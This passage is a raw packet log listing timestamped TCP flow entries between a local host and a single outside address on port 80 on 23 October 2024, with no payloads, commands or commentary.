Oct 23, 2024 15:48:21.473638058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473649979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473655939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473663092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473675013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473685980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473689079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473689079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473700047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473712921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473722935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473728895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473733902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473736048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473747969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473761082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473773956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473781109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473784924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473797083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473808050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473819017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473829985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473835945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473843098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473855019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473871946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473884106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473895073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473896027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473896027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473908901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473921061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473927975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473942041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473948002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473953962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473965883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473978996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.473980904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473980904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.473990917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474004984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474016905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474025965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474025965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474029064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474040985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474052906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474057913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474066019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474080086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474091053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474102020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474108934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474108934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474114895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474128962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474133015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474140882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474153042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474163055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474174023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474175930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474175930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474185944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474198103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474203110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474211931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474224091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474229097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474236012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474247932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474260092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474272013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.474287987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474287987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.474328995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.476965904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.476965904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.506829023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.506870031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.506906033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.506906033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507430077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507590055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507606983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507639885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507674932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507678986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507678986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507726908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507761002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507766962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507766962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507793903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507828951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507837057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507837057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507879019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507927895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507961035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.507965088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507965088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.507994890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508030891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508030891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508035898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508094072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508126020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508132935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508158922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508162022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508192062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508229971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508233070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508233070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508263111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508296967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508310080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508311033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508330107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508363008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508368015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508368015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508395910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508399963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508429050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508459091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508491039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508498907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508514881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508514881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508523941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508546114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508620024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508671999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508706093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508728027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508738041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508769989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508769989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508773088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508805990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508809090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508841038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508872986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508877039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508877039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508907080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.508944035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.508944035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.548322916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.548423052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.548512936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.548543930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.548578024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.548579931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.548579931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.548645973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.581944942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.581986904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.581995964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582036972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582051039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582084894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582097054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582134008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582174063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582174063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582184076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582218885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582232952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582252979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582285881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582293987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582293987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582321882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582370996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582370996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582376957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582411051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582453012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582453012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582461119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582535028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582700014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582748890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582799911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582813978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582833052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582875967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582875967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582885981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582935095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.582973957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582973957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.582984924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583018064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583059072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583067894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583101988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583134890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583162069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583184958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583218098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583223104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583223104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583266973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583302021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583304882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583334923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583348989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583369017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583419085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583451033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583456993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583456993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583483934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583487988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583518028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583551884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583585024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583591938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583591938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583619118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583635092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583650112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583682060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583687067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583688021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583720922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583754063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583759069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583760023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583786964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583818913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583822966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583822966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583853006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583884954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583892107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583892107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583921909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583957911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583992004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.583995104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.583995104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584024906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584047079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584058046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584090948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584093094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584093094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584125042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584156036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584166050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584166050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584191084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584223986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584228992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584228992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584256887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584276915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584291935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584326029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584326029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584328890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584373951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584539890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584604025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584647894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584681034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584692955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584714890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584748030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584753036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584753036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584796906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584830046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584857941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584865093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584897995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584918022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584918022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.584932089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584964991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.584997892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585001945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585001945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585031033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585064888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585069895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585069895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585098982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585135937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585135937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585150003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585199118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585232019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585233927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585233927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585266113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585299969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585303068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585303068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585349083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585382938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585386992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585386992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585417032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585449934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585452080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585452080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585483074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585520983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585520983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585531950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585566998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585599899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585602999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585602999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585633993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585666895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585671902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585671902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585700035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585737944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585737944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585748911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585783958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585820913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585820913 CEST	49730	80	192.168.2.4	185.215.113.37
